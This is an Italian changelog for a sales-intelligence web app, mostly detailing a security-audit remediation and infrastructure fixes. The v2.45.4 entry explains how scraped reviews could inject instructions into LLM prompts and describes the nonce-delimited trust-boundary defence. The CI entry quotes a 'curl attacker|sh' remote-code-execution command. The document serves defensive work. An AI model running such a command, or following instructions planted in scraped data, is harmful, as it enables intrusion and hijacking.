Richiesta Giuseppe: «esportare un report di utilizzo, non solo la login: uno storico con selettore di data per capire quante ricerche hanno fatto, se si sono loggati». Nuova tab admin Report utilizzo alimentata da GET /api/admin/usage-report (sorgente activity_log, retention 180gg; proposte inviate/vinte derivate dal meta di prospect_status_change — la tabella proposals in prod fa da storage bozze, lo stato commerciale autoritativo è Prospect.status).

• v2.46.0: endpoint aggregato per (agente × giorno × azione) in una query — 9 gruppi azione (accessi, ricerche search+search_natural, analisi prospect, scan Local Falcon, analisi SEO, analisi social, confronti competitor, interazioni AI, prospect salvati) + proposte inviate/chiusure vinte + giorni attivi + ultimo accesso certificato nel periodo. to_date inclusivo (filtro < to+1g). Righe anche per agenti a zero attività («mai loggato» è un dato). Flag truncated_by_retention quando il «Dal» precede il cutoff 180gg. Frontend: tab con Dal/Al + filtro agente, tabella con riga Totale, 2 export CSV client-side (riepilogo per agente e dettaglio giornaliero, separatore ; + BOM come gli altri export). 8 test nuovi in tests/test_usage_report.py.

2026-07-30 — v2.45.9 suite test 3x piu' veloce: eliminato l'auto-deadlock delle sessioni DB annidate (+ WAL per SQLite)

Contesto: il fix del segfault (v2.45.8, via StaticPool) aveva rallentato la suite da ~13 a ~41 minuti, gate CI insostenibile. Diagnosi misurata (non dedotta): --durations ha mostrato ~23 minuti concentrati in test_smart.py — venti test da ~33s piatti l'uno; faulthandler_timeout a meta' attesa ha fotografato il thread della pipeline fermo nel commit() di log_activity. Causa: auto-deadlock single-thread — _log('prospect_create') era chiamato DENTRO il with get_session() con l'INSERT del Prospect gia' flushato; log_activity apre una seconda connessione, e siccome il lock di scrittura SQLite e' sull'intero database, l'INSERT del log aspettava il busy-timeout pieno (30s), l'errore «database is locked» veniva inghiottito dal fail-open e tutto proseguiva. Con StaticPool non si vedeva solo perche' la connessione era una. Fix: scan statico del pattern su tutto il repo (5 occorrenze: smart.py, prospects.py ×2, external.py ×2) e spostamento di ogni _log DOPO la chiusura della sessione. Regola da qui in avanti: mai chiamare funzioni che aprono una propria sessione (_log, cache_set, _update_job...) dentro un with get_session() — su SQLite e' un deadlock da 30s, su MySQL e' comunque igiene dei lock. In piu': PRAGMA journal_mode=WAL + synchronous=NORMAL per la modalita' SQLite. Risultato misurato: il test campione da 34.2s a 4.2s; i due peggiori (reset quota) da 320s/193s a pochi secondi; suite completa tornata sui tempi pre-regressione. Nessun impatto sugli agenti: in produzione (MySQL, lock per riga su tabelle diverse) il deadlock non si manifestava.

• v2.45.9: db.py, routers/smart.py, routers/prospects.py, routers/external.py.

2026-07-30 — v2.45.8 manutenzione automatica: backend morto → pagina di manutenzione, non una login rotta

Richiesta di Giuseppe dopo l'outage del 30/07: se il backend e' irraggiungibile, servire direttamente la pagina di manutenzione invece di pagine con login/API che falliscono. Meccanismo: quando proxy.php arriva al 502 definitivo (backend morto E respawn automatico fallito), crea maintenance_auto.flag — file separato da maintenance_mode.flag, che resta manuale e mai toccato dall'automazione. .htaccess redirige su maintenance.html se esiste uno qualsiasi dei due flag ([OR]). Self-recovery: healthcheck.php rimuove il flag auto a ogni probe 200; e se il flag auto e' presente, il ramo di respawn e' autorizzato anche senza token — e' il sistema stesso ad aver dichiarato l'outage, e a backend sano quel ramo non viene mai raggiunto (il finding 5.7 sul restart non autenticato resta chiuso). page-maintenance.js pinga healthcheck.php ogni 45s: sono i visitatori parcheggiati sulla pagina a guidare i tentativi di recovery, e il poll su /VERSION gia' esistente li riporta al sito appena il flag sparisce. page-login.js: su 502 con maintenance: 'auto' nel body, redirect immediato alla pagina di manutenzione. maintenance.php?off pulisce entrambi i flag (interruttore totale per l'operatore); lo status espone manual/auto separati. Gotcha .htaccess documentato nel file (misurato, spiegava un comportamento anomalo osservato stamattina): l'esclusione !^/api/ dal redirect di manutenzione non funziona — al secondo pass del rewrite /api/* → /proxy.php la REQUEST_URI diventa /proxy.php, non esclusa, e il redirect scatta comunque. Le API durante la manutenzione sono di fatto bloccate (e va bene: il recovery passa da /healthcheck.php, esclusa davvero).

Nella stessa release, fix del segfault CI: il primo deploy v2.45.8 e' morto al gate pytest con Fatal Python error: Segmentation fault dentro test_seozoom_provider. Causa in db.py: in modalita' SQLite l'engine usava StaticPool + check_same_thread=False — la ricetta per sqlite:///:memory:, ma da noi SQLite e' sempre su file — quindi UNA sola connessione pysqlite condivisa fra tutti i thread. Sotto i ThreadPoolExecutor (metriche keyword in parallelo) un errore SQLITE_BUSY faceva invalidare la connessione al pool, che la chiudeva mentre un altro thread ci stava eseguendo sopra: use-after-free nel modulo C, interprete giu'. Flaky per natura (in locale 676 test verdi due volte lo stesso giorno). Fix: pool default (una connessione per checkout, l'invalidazione tocca solo la propria) + busy-timeout 30s sul file. Solo modalita' SQLite (test/dev): MySQL in prod aveva gia' il suo pool vero. Verifica: 10 run consecutivi del file incriminato, tutti verdi.

• v2.45.8: proxy.php, healthcheck.php, maintenance.php, .htaccess, page-maintenance.js, page-login.js, db.py.

2026-07-30 — v2.45.7 backend su unix socket: SiteGround ha bloccato listen() TCP (outage risolto alla radice)

Outage mattutino: porta 5049 morta con processo vivo e respawn in loop. Dalle ~05:33 UTC il backend non rispondeva; healthcheck.php respawnava uvicorn ogni ~35s, ogni processo loggava «Uvicorn running on http://127.0.0.1:5049» ma la porta rifiutava le connessioni. Misure sul server (non deduzioni): il PID era vivo, un bind() di prova sulla 5049 riusciva (= nessun listener presente), e un socket TCP puro falliva su listen() con PermissionError [Errno 1] — su qualsiasi porta e indirizzo (5049, 8080, 3000, 65432, 0.0.0.0, backlog 0). Causa radice: SiteGround ha iniziato a negare la syscall listen() sui socket TCP (policy kernel/seccomp del container, cambiata la notte del 30/07 senza preavviso). Doppia trappola: uvicorn non segnala il fallimento del listen — logga «running» e resta vivo senza ascoltare, quindi ogni respawn sembrava riuscito per poi fallire il probe. listen() su AF_UNIX resta invece permesso (misurato, e verificato end-to-end con uvicorn di prova + curl --unix-socket + PHP CURLOPT_UNIX_SOCKET_PATH). Fix: il backend ascolta su uds=/home/customer/sih_uvicorn.sock; proxy.php, healthcheck.php, reload.php e lo smoke CI usano il socket via cURL unix. healthcheck.php rimuove il socket file stale prima del respawn e _schedule_exit (self-shutdown) lo rimuove prima di os._exit — un file stale produrrebbe Errno 98 al bind. Conseguenza sull'audit IP: via UDS request.client e' None (il peer non ha IP), quindi activity._client_ip ora tratta il peer-senza-IP come proxy fidato al pari del loopback: solo processi locali con accesso al filesystem raggiungono il socket, e l'XFF resta scritto esclusivamente da proxy.php a partire da REMOTE_ADDR. Verifica comportamentale post-fix: login fallito con X-Forwarded-For: 8.8.8.8 spoofato → in activity_log.ip e' finito l'IP reale del chiamante, non lo spoof. Il vecchio uvicorn_prod.port e' stato eliminato. Nota per il futuro: se un giorno serve di nuovo un listener TCP locale (nuovo servizio, debug), prima misurare listen() con un socket puro — il blocco e' silenzioso e uvicorn non lo denuncia.

• v2.45.7: proxy.php, healthcheck.php, reload.php, activity.py, routers/system.py, .github/workflows/deploy.yml, tests/test_security_sprint_c.py.

2026-07-27 — v2.45.6 healthcheck: retry-loop sul probe post-respawn (falso 'failed' in CI)

CI rossa sul deploy v2.45.5 con prod sana. Lo step bloccante «Restart uvicorn» ha riportato healthcheck_response.status='failed' con http_code 0, ma la misura diretta via SSH ha mostrato il nuovo processo vivo (stesso PID del respawn), API con gate auth corretto e VERSION già a 2.45.5: falso negativo. Causa in healthcheck.php: dopo lo spawn faceva sleep(3) fisso e un solo probe su /api/status — se il boot di uvicorn (import app + 8 router + SQLAlchemy, hosting condiviso sotto carico) supera i 3s, il probe becca connection refused e marca failed un restart riuscito. Fix: probe ogni 1s fino a 30s, esce al primo 200. Ne beneficia anche l’auto-healing reattivo di proxy.php (include lo stesso file a backend morto): prima il retry della richiesta utente partiva a 3s contro un backend ancora in boot e tornava comunque 502; ora aspetta il boot e serve la risposta vera. Compatibilità verificata col canale SSH della CI (timeout 60s, worst case ~40s); commento stale «~5-8s» in deploy.yml aggiornato.

• v2.45.6: healthcheck.php, .github/workflows/deploy.yml (solo commento).

2026-07-27 — v2.45.5 Racconto: parser tollerante al testo attorno al JSON

Errore Sentry in produzione (2026-07-27, JSONDecodeError: Extra data su /api/racconto/generate): il modello a volte accoda prosa o un fence di chiusura dopo l'oggetto JSON del racconto, e json.loads sull'intera stringa fallisce → 502 «Risposta AI non e' JSON valido» e l'agente doveva rigenerare. Il pre-processing esistente copriva solo il caso «fence pulito a inizio e fine». Fix in routers/racconto.py: su JSONDecodeError si fa fallback a json.JSONDecoder().raw_decode a partire dalla prima {, che estrae il primo oggetto completo ignorando cio' che precede e cio' che segue; se non c'e' alcun oggetto valido resta il 502. Coperti: prosa in coda, prosa in testa, fence con testo dopo la chiusura, testo senza JSON (4 test di regressione in tests/test_racconto.py, sezione 5). Unico call-site interessato: le altre personas restituiscono testo libero, non JSON parsato server-side.

• v2.45.5: routers/racconto.py, tests/test_racconto.py.

2026-07-26 — v2.45.4 Difese anti prompt-injection (finding 5.13) + pulizia

Finding rimasto scoperto e recuperato solo su domanda esplicita di Giuseppe («voglio sapere cosa c'e' di aperto ora»): era nel backlog del report ma non era stato assegnato a nessun agente. I dati che finiscono nei prompt NON sono fidati — le recensioni Google le scrive chiunque, testi e handle social vengono raschiati dal sito del prospect — e venivano incollati in una fence markdown ```json senza delimitazione forte, mentre nessuno dei 13 system prompt diceva al modello come trattarli. Un'istruzione scritta dentro una recensione era indistinguibile dalle nostre.

Difesa in due parti, entrambe necessarie. (1) _untrusted_block() racchiude i dati in [DATI_DA_ANALIZZARE:<nonce>]…[/DATI_DA_ANALIZZARE:<nonce>] con nonce casuale per chiamata: chi inietta non puo' chiudere il blocco perche' non conosce il nonce (verificato con un payload che tenta proprio quella chiusura). (2) Riga CONFINE DI FIDUCIA nei system prompt: dentro quel blocco c'e' materiale da analizzare, mai istruzioni; le istruzioni arrivano solo dal messaggio di sistema; niente cambio di ruolo/formato/lingua su richiesta dei dati.

Copertura verificata persona per persona. ava_coach era scoperta al primo giro perche' non usa _COMMON_RULES: ha un system prompt proprio. Ed e' la piu' esposta — conversazionale, e rilegge i cached_briefs prodotti dalle altre. Regola aggiunta anche li'. Senza il controllo puntuale il finding sarebbe risultato «chiuso» lasciando scoperto il punto peggiore.

Interpolazioni fuori dal JSON. Il caso piu' insidioso: _social_facts_block e gli hint di A.V.A. costruiscono righe a mano, quindi senza json.dumps gli a-capo di un valore raschiato sopravvivono e permettono di iniettare righe intere nel prompt. handle, classification e agent_name (quest'ultimo scelto dall'agente stesso, gia' vettore di stored XSS in admin) passano ora da _safe_scalar(), che serializza e tronca. 9 test di regressione in tests/test_security_audit_2026_07_26_prompt_injection.py, inclusi copertura di tutte le 13 personas e il tentativo di chiusura forgiata.

Pulizia nella stessa release. (a) Rimosse da activity_log in produzione le 7 righe di test create durante le verifiche di spoofing (dominio @esempio.invalid, riservato dalla RFC): due portavano IP falsificati (8.8.8.8, 2.2.2.2) che avrebbero fatto investigare un attacco inesistente. (b) changelog.html: il template lasciava <div class="cl-release-head"> non chiuso prima di </summary> in 213 card; corretto con verifica che il contenuto testuale estratto sia identico prima e dopo. Errori di parsing 141 → 113. I 113 residui sono eterogenei (10 details, 9 article, 73 </div> spaiati in sezioni storiche diverse): richiederebbero analisi caso per caso su un file da 771 KB che funziona, quindi lasciati deliberatamente invece di fare editing di massa alla cieca.

Non fatto, con motivazione: aud/iss sui JWT. Con un solo emittente e un segreto non condiviso con altri sistemi non aggiungono difesa; la confusione di scope reale (reset token usato come sessione) e' gia' chiusa dal controllo su purpose in decode_token. Imporli invaliderebbe tutti i token esistenti, cioe' un re-login forzato per tutti gli agenti, in cambio di un beneficio teorico. Se un domani il segreto venisse condiviso con un altro servizio, la valutazione cambia.

• v2.45.4: ai_personas.py, changelog.html, tests/test_security_audit_2026_07_26_prompt_injection.py (nuovo).

2026-07-26 — v2.45.3 activity._client_ip: uvicorn normalizza gia' l'IP, la nostra logica XFF era rumore

Scoperta che corregge due affermazioni precedenti. Indagando sul perche' nel log uvicorn comparissero IP pubblici reali con porta :0, e' emerso che uvicorn.run() ha proxy_headers=True di default e forwarded_allow_ips che ripiega su 127.0.0.1 (verificato leggendo Config.__init__ di uvicorn 0.51.0, la versione in produzione). Poiche' proxy.php si connette dal loopback, uvicorn applica l'X-Forwarded-For e riscrive scope['client'] prima che il nostro codice giri: request.client.host e' gia' l'IP reale del client.

Conseguenza retroattiva sull'analisi. L'audit del 2026-07-02 sosteneva che lo spoof XFF aggirasse il rate limit del login; la remediation del 26/07 lo aveva "corretto" affermando che request.client.host dietro proxy.php fosse sempre 127.0.0.1. Entrambe sbagliate: prima di v2.45.1 il limiter era falsificabile, ma per un meccanismo diverso — client → XFF forgiato → proxy.php lo inoltrava → uvicorn lo prendeva per buono → chiave del limiter sotto controllo dell'attaccante. Il fix di v2.45.1 (proxy.php ignora l'header in arrivo e usa REMOTE_ADDR) chiude quindi anche il limiter, non solo l'audit trail. 🔒 Chi tocca proxy.php deve saperlo: la tenuta del rate limit dipende dal fatto che non inoltri mai un XFF controllato dal client, perche' uvicorn si fida per default di cio' che arriva dal loopback.

Il fix. activity._client_ip riapplicava la propria logica XFF ignorando il lavoro gia' fatto da uvicorn. L'esito era corretto (ripiegava su client_host, gia' giusto), ma il ramo «XFF non fidato» scattava su ogni richiesta: una riga di log per richiesta, e soprattutto ogni riga di activity_log marcata con xff_rejected nel meta. Un indicatore di sicurezza che si accende sul 100% del traffico normale non e' un indicatore: e' rumore che nasconde il caso vero. Ora request.client.host e' la fonte primaria; il ramo XFF resta solo per il caso in cui uvicorn non abbia normalizzato (deploy con proxy_headers disabilitato), riconoscibile dal fatto che il peer diretto e' il proxy fidato. Rimossa anche l'annotazione xff_rejected da log_activity. Verificato su 4 scenari: uvicorn normalizzato, spoof con XFF divergente (vince client_host), proxy_headers off, connessione diretta senza XFF.

• v2.45.3: activity.py.

2026-07-26 — v2.45.2 Coda dell'audit: i 7 finding minori rimasti

Chiusi i finding a bassa/media severita' che erano stati elencati nel report ma non ripresi dopo i batch principali. Dockerfile: --forwarded-allow-ips era '*', quindi chiunque raggiungesse il container impostava request.client.host a piacere via XFF, aggirando il controllo TRUSTED_PROXIES di activity.py (la prod SiteGround non era affetta, staging/dev si'); ora default loopback, override via UVICORN_FORWARDED_ALLOW_IPS. OpenAPI: /docs, /redoc e /openapi.json servivano lo schema completo di tutti i router senza auth sul loopback — non raggiungibili da internet ma esposti a chiunque abbia la shell di questo hosting condiviso; ora disattivati, riattivabili con SIH_ENABLE_DOCS=1. TrustedHostMiddleware aggiunto (difesa in profondita' su Host header). .gitleaks.toml: l'esclusione cieca di tests/ faceva passare inosservato un segreto reale committato per errore in un test — sostituita da pattern sul contenuto dei fixture falsi. requirements.txt Flask legacy rimosso (stack eliminato l'11 maggio; restava non pinnato e con una PR Dependabot aperta) insieme al riferimento in deploy.py. Action GitHub pinnate a SHA di commit invece che a tag mutabili, 13 riferimenti (per trivy-action il tag era annotato: va dereferenziato al commit, altrimenti il pin non funziona). compare.py::_rate_limit_check era una copia locale ancora fail-open, incoerente con la scelta fail-closed applicata a core.rate_limit_check: allineata.

Due trappole incontrate, entrambe risolte misurando. (1) TrustedHostMiddleware rompe la suite: lo Starlette TestClient invia Host: testserver, che in produzione non e' (giustamente) consentito. Risolto in tests/conftest.py con SIH_ALLOWED_HOSTS=testserver, non allentando i default dell'app. (2) Il rischio opposto e piu' serio era bloccare la produzione: proxy.php non imposta un Host esplicito, quindi curl usa 127.0.0.1:5049. Verificato eseguendo le richieste invece di dedurlo dal codice di Starlette: 127.0.0.1:5049, il dominio pubblico e localhost:5049 passano, evil.attacker.tld prende 400.

• v2.45.2: Dockerfile, server_fastapi.py, routers/compare.py, .gitleaks.toml, deploy.py, tests/conftest.py, 8 workflow, requirements.txt (rimosso).

2026-07-26 — hardening CI/CD (batch separato, nessun bump applicativo)

Eseguito dopo il deploy applicativo per scelta esplicita: se una modifica alla pipeline si fosse rotta, i fix di sicurezza erano gia' in produzione invece di restare bloccati dietro una CI non funzionante.

A-4 — l'intero sih.env non lascia piu' il server. I 4 workflow security-watch-* leggevano il file via SFTP, lo portavano sul runner GitHub e lo rispedivano come prefisso env VAR=... sulla riga di comando. Quel file contiene MYSQL_PASSWORD, SIH_JWT_SECRET e soprattutto SIH_SECRETS_MASTER_KEY, cioe' la master key Fernet che decifra tutte le chiavi provider in DB. Non essendo GitHub Secrets, quei valori non venivano mascherati nei log: bastava un'eccezione che stampasse il comando, o una dipendenza compromessa di pip install paramiko, per esporli in chiaro; in piu' finivano in argv sul server, leggibili da /proc su hosting condiviso. Convertiti al pattern bash -s con lo script su stdin e sourcing locale, gia' in uso da prune-activity-log e evict-raw-data (che infatti non erano affetti), incluso il re-export esplicito delle MYSQL_*.

A-5 — host key SSH pinnata su tutti e 9 i punti di connessione. paramiko.Transport non verifica alcuna host key: un MITM fra runner e SiteGround riceveva il token di reload in chiaro e l'intero contenuto SFTP, e poteva restituire output falsi che facevano passare lo smoke. Ora si passa hostkey= a connect(), cosi' la verifica la fa paramiko e il job fallisce sul mismatch. Fingerprint atteso SHA256:SxJSo/9I+HMzP5V4BZBatbRseo4zVYEyLOFJ8kWuacM, ricavato con ssh-keyscan e verificato ricostruendo la chiave da base64.

A-6 — dipendenze pinnate a versione esatta. Il deploy faceva pip install --upgrade su range aperti: una release PyPI compromessa sarebbe entrata in produzione da sola al primo deploy successivo, senza review. Le versioni sono ora quelle verificate funzionanti in prod, rilevate con pip freeze sul server, e --upgrade e' stato rimosso (avrebbe annullato il senso del pin). Perche' non --require-hashes con requirements.lock, che sarebbe il controllo piu' forte: il lockfile e' generato con Python 3.12 mentre la prod gira su 3.14.6, quindi pip cercherebbe wheel cp314 i cui hash non sono nel file e l'installazione fallirebbe. Per passare alla verifica degli hash va prima rigenerato il lockfile sotto 3.14. Annotato nell'header di requirements_fastapi.txt per non perdere il contesto.

Altri: permissions: contents: read a livello top su tutti e 8 i workflow (il GITHUB_TOKEN ereditava i default del repo: se l'org e' su "read and write", ogni job che installa pacchetti ed esegue test aveva un token capace di riscrivere i workflow stessi); input days di workflow_dispatch passato per int() prima dell'interpolazione in uno script bash eseguito in produzione (180; curl attacker|sh era RCE sul webroot).

2026-07-26 — v2.45.1 XFF: il fix di v2.45.0 era basato su un'assunzione sbagliata

Il fix XFF di v2.45.0 non funzionava, ed e' stato scoperto dallo smoke post-deploy invece che a tavolino. v2.45.0 assumeva che nginx appendesse in coda alla catena XFF (comportamento standard proxy_add_x_forwarded_for) e prendeva l'elemento in posizione count - $TRUSTED_PROXY_HOPS. Misurazione in produzione: (1) curl -H 'X-Forwarded-For: 8.8.8.8' → in activity_log.ip finiva 8.8.8.8, lo spoof passava ancora; (2) curl -H 'X-Forwarded-For: 1.1.1.1, 2.2.2.2' → veniva registrato 2.2.2.2, cioe' l'ultimo elemento inviato dal client — prova che nginx non accoda nulla e che la catena che arriva a PHP e' esattamente quella scritta dal client, quindi nessun indice posizionale puo' essere fidato (l'attaccante controlla sia i valori sia la lunghezza, e puo' quindi centrare qualunque indice); (3) richiesta senza header XFF → veniva registrato l'IP pubblico reale del chiamante, arrivato dal fallback su REMOTE_ADDR.

Conclusione: su questo hosting REMOTE_ADDR contiene gia' l'IP reale del client (ripristinato dal layer nginx a monte di Apache), e l'XFF in ingresso e' rumore interamente controllato dal client. proxy.php ora ignora l'XFF in arrivo e sovrascrive sempre l'header con REMOTE_ADDR validato. Nota per il futuro: la cautela scritta nel commento di v2.45.0 («non usare REMOTE_ADDR alla cieca, qui Apache sta dietro nginx») era ragionevole in astratto ma empiricamente falsa in questo deployment — il commento e' stato sostituito con le tre misurazioni sopra, cosi' chi tocchera' quel blocco parte da dati e non da un modello mentale. Se un domani l'infrastruttura cambiasse, il sintomo sarebbe un IP privato costante nei log: visibile e innocuo, mai una falsificazione. Riprova permanente: l'header spoofato non deve mai comparire in activity_log.

• v2.45.1: proxy.php.

2026-07-26 — v2.45.0 Remediation audit sicurezza 2026-07-26 (3 critici, 13 alti)

Audit completo su richiesta di Giuseppe (5 auditor in parallelo + verifica manuale dei finding load-bearing). Report integrale in security-audit/AUDIT_2026-07-26_v2.44.1.md. Fuori scope per decisione esplicita: GDPR, rotazione chiavi, backup (gestito da SiteGround). Tre assunti storici smentiti dai test: (1) non esiste alcun Basic Auth davanti al sito — verificato con curl, pagine statiche e /api/* rispondono 200 senza credenziali, quindi ogni endpoint non autenticato era esposto a internet; (2) lo spoof XFF non aggirava il rate limit del login (che usava request.client.host, sempre 127.0.0.1 dietro proxy.php) ma falsificava activity_log.ip, cioe' la certificazione accessi di v2.38.0; (3) requirements.lock hash-pinned e' usato solo dal Dockerfile, il deploy reale fa pip install --upgrade su range aperti.

Critici. C-2 confusione di scope sui token: decode_token verificava la firma ma non l'assenza del claim purpose, mentre verify_password_reset_token lo controllava. Un link di reset — firmato con lo stesso segreto e lo stesso algoritmo, con sub, e consegnato fuori banda via email/WhatsApp per design — valeva come token di sessione; e poiche' il ruolo viene riletto dal DB, il reset link di un admin valeva come sessione admin piena. Aggravante trovata in verifica: TTL 30 min < soglia sliding refresh 8h, quindi la prima richiesta autenticata coniava un cookie di sessione fresco da 24h — il link si convertiva in accesso persistente e usarlo come sessione non lo consumava. Fix: una riga in decode_token. C-3 SSRF non autenticato su /api/social/img: nessuna Depends, allow-list a sottostringa (cdninstagram.com.attacker.tld passava), req.get diretto con allow_redirects=True invece di safe_requests_get. Fix: auth + safe_requests_get + match esatto/suffisso via _social_img_host_allowed() + Cache-Control: private. C-1 chiavi in git history: gestito fuori da questa release (rotazione, decisione di Giuseppe).

Sessioni e MFA. is_active era controllato solo al login: un agente disattivato conservava accesso completo e lo sliding refresh glielo rinnovava a tempo indefinito — e poiche' admin_delete_agent rifiuta la cancellazione se l'agente ha prospect e suggerisce «disattivalo invece di eliminarlo», l'unica procedura di offboarding documentata era un no-op. Aggiunto il check in get_current_agent. Nuova colonna agents.tokens_valid_from (revoca per epoca, confrontata con iat): settata al cambio password, cambio ruolo e disattivazione — prima TokenBlacklist era per-jti e non copriva i token gia' emessi, quindi resettare la password non cacciava un attaccante. NULL = nessuna revoca, quindi il deploy non slogga nessuno. /mfa/verify-enroll accettava il seed dal body senza verificare mfa_enabled, mentre /mfa/enroll rifiuta e /mfa/disable chiede password + codice: chi otteneva una sessione sostituiva il secondo fattore e riceveva 8 backup codes freschi. Aggiunto il guard + race guard sulla riga fresca. Anti-replay TOTP via agents.mfa_last_counter (valid_window=1 rendeva lo stesso codice valido ~90s per login + disable + regenerate); il counter non viene consumato all'enroll, altrimenti il login immediatamente successivo cadrebbe nella stessa finestra. Seed TOTP ora cifrato at-rest con lo stesso wrapper Fernet dei secrets (colonna allargata a 255, set_mfa_secret/get_mfa_secret): lettura duale, i valori legacy in chiaro restano leggibili, nessun re-enroll. Rate limit esteso a tutte le verifiche password (/mfa/disable, /mfa/backup-codes/regenerate usavano la primitiva del login senza passare dal limiter). Contatore login per-IP oltre a quello per-email (via activity._client_ip), volutamente generoso a 30/5min: la chiave era ip|email con IP costante, quindi il tetto degradava a «5 tentativi per email» — lockout DoS mirato su un account noto e spraying illimitato su account diversi. SIH_JWT_SECRET: hard-fail all'avvio se assente o < 32 char (verificato via SSH che in prod e' a 64), con override esplicito SIH_ALLOW_INSECURE_JWT_SECRET=1 per dev/test. Blacklist token e rate_limit_check passati a fail-CLOSED (scelta di Giuseppe): non peggiora la disponibilita' perche' get_current_agent interroga comunque il DB, quindi con MySQL giu' nessuno si autentica.

IDOR e costi. Nuovo helper core.require_prospect_access() / prospect_access_or_none(): era la root cause indicata dall'audit del 2026-07-02 e non era mai stata scritta (il check corretto esisteva a mano in /racconto/last, mai fattorizzato). Applicato a /ai/briefs-for-prospect, /ai/sentiment-for-prospect, alla cache-lookup di /ai/interpret, alle scritture di ai_interpret e degli snapshot social, e a /racconto/generate — che mutava Prospect.source di un prospect altrui. Rate limit aggiunto dove mancava, sempre con la _log corrispondente: rate_limit_check conta ActivityLog per action, e i 4 handler SEO non loggavano affatto, quindi il cap da solo non sarebbe mai scattato (fix apparente). Cap: /seo/* 30/h condiviso, ai-visibility 10/h separato (~200 crediti per prompt), /api/details 200/h, /api/photo 600/h (60 foto per ricerca dalla home → 300 avrebbe significato 5 ricerche/ora), social/scan 30/h, social/probe e ads/probe 60/h, racconto/generate 20/h, lf/poll 20/h. /api/lf/poll aveva max e interval senza clamp con time.sleep() in un handler sincrono: sul threadpool anyio (default 40, nessun override) bastavano 40 richieste per mandare offline l'intera app. /api/photo: name interpolato grezzo nella path con la chiave Google accodata → un ? usciva dal path nella query, permettendo di colpire endpoint Places arbitrari con la chiave aziendale; ora regex ancorata con \Z (non $, che matcha prima di un newline finale). Whitelist personas su /ai/interpret: get_persona accettava qualunque chiave, e narratore_audit (6000 token) dentro il cap da 20/h tarato su personas da ~900 valeva 6,7x di spesa. Cache-key canonicalizzate (ai-visibility 300 chiavi per dominio, Google Ads 256 varianti per case, Facebook/LinkedIn per normalizzazione tardiva). Chiave Local Falcon: str(e) su ConnectionError include l'URL completo con api_key in query e finiva nel detail della 500 — ora scrubbata in lf_get e lf_post.

Frontend, CSP, PHP. esc() unificata: 5 file su 18 usavano la variante textContent-based, che non escapa " e ', in ~50 sink dentro attributi. Sostituita con la regex quote-safe gia' presente negli altri 13. Trappola evitata in verifica: page-racconto.js passava output di esc() a textContent, dove le entity si sarebbero viste in chiaro. Chiuso l'unico sink dove un < raggiungeva l'HTML (page-login.js, email non escapata) e le due interpolazioni non escapate in page-admin.js (agent.name, stored XSS agente→admin). Logout: auth-guard.js ripuliva 3 chiavi legacy lasciando nome/recapiti del prospect, esito audit e proposta con prezzi; ora rimuove tutto il prefisso sih_ con allow-list esplicita per le preferenze UI. CSP portata a script-src 'self': prima allowlistava cdn.jsdelivr.net e unpkg.com interi — origin su cui chiunque puo' pubblicare un pacchetto npm, quindi qualunque injection capace di emettere <script src> aggirava la CSP al 100% (gli SRI non aiutano: l'attaccante omette integrity). Chart.js, Leaflet e il bundle Sentry sono ora in /vendor/, verificati byte per byte contro gli hash SRI gia' dichiarati negli HTML; deploy_fastapi.py::DIRS aggiornato (la replica non e' ricorsiva: vendor e vendor/images elencate separatamente). proxy.php: XFF preso dall'elemento destro con $TRUSTED_PROXY_HOPS = 1 invece del leftmost client-controllato; l'euristica «primo IP pubblico da destra» e' stata scartata perche' con catena 8.8.8.8, 127.0.0.1 tornava a fidarsi del valore del client. bypass.php: cookie con httponly + secure e valore hashato (il token in chiaro era leggibile da document.cookie; .htaccess verifica solo la presenza). healthcheck.php: restart gatato da token con hash_equals, ma auto-healing intatto — proxy.php e reload.php lo includono via require e sono esentati con una costante, e PHP_SAPI === 'cli' resta esente per gli eventuali cron. Verificato sui log che nessun cron HTTP lo chiamava (5 chiamate curl manuali in 3 giorni), quindi impatto operativo nullo. Inoltre: hmac.compare_digest su /api/internal/shutdown, /api/status non espone piu' l'errore DB grezzo (conteneva utente e host MySQL), kill_orphans.py non killa piu' ogni processo dello stesso uid, password e DATABASE_URL fuori da stdout, token fuori da argv e query string.

• v2.45.0: auth.py, mfa.py, db.py, migrate.py, core.py, server_fastapi.py, routers/auth.py, routers/admin.py, routers/external.py, routers/racconto.py, routers/system.py, routers/smart.py, routers/compare.py, routers/social_probe.py, routers/ads_intelligence.py, social_analytics.py, proxy.php, bypass.php, healthcheck.php, reload.php, kill_orphans.py, manage.py, deploy_fastapi.py, .htaccess, vendor/*, auth-guard.js, page-login.js, page-admin.js, page-01, page-02, page-03, page-06, page-racconto.js, 9 HTML, 5 file di test nuovi.

2026-07-24 — v2.44.1 A.V.A.: il messaggio d'errore reale non viene piu' scartato

Giuseppe segnala che A.V.A. risponde «Non sono riuscita a rispondere. Riprova tra un istante. (HTTP 400)». Bug confermato: sih-ava.js leggeva l'errore da j.detail, ma l'handler StarletteHTTPException in server_fastapi.py risponde con la shape Flask-compatible {"error": "..."} — e validation_exception_handler mappa RequestValidationError a 400 con la stessa chiave. Risultato: errText vuoto e fallback a 'HTTP ' + r.status, quindi la causa vera spariva. Stessa classe di bug del ticket #235. Fix: lettura a cascata ej.error || ej.detail || ej.reason. Il 400 in se' NON e' risolto: non riproducibile nonostante il tentativo di replica fedele delle condizioni riportate (step 2, prospect nuovo non ancora in DB, scan Local Falcon assente, consulente GBP confermato con «Analizza con dati parziali» → 200, poi A.V.A. → 200 con cached_briefs popolato, 7,5 KB). Escluse per test diretto: dimensione payload (200 fino a 1,5 MB), richieste concorrenti identiche (200/200), tutti gli step 2-6 (200). Evidenza raccolta: 2 occorrenze in uvicorn_prod.log, entrambe successive al riavvio v2.44.0, da 2 IP distinti; nel log precedente 0 su 8 chiamate. Le sole tre strade che producono 400 su /api/ai/interpret sono persona sconosciuta, data non-dict e RequestValidationError: alla prossima occorrenza il messaggio identifichera' quale. Anomalia collaterale annotata (non toccata): cached_briefs include anche il brief ava_coach, quindi A.V.A. rilegge se stessa e il payload cresce a ogni rigenerazione.

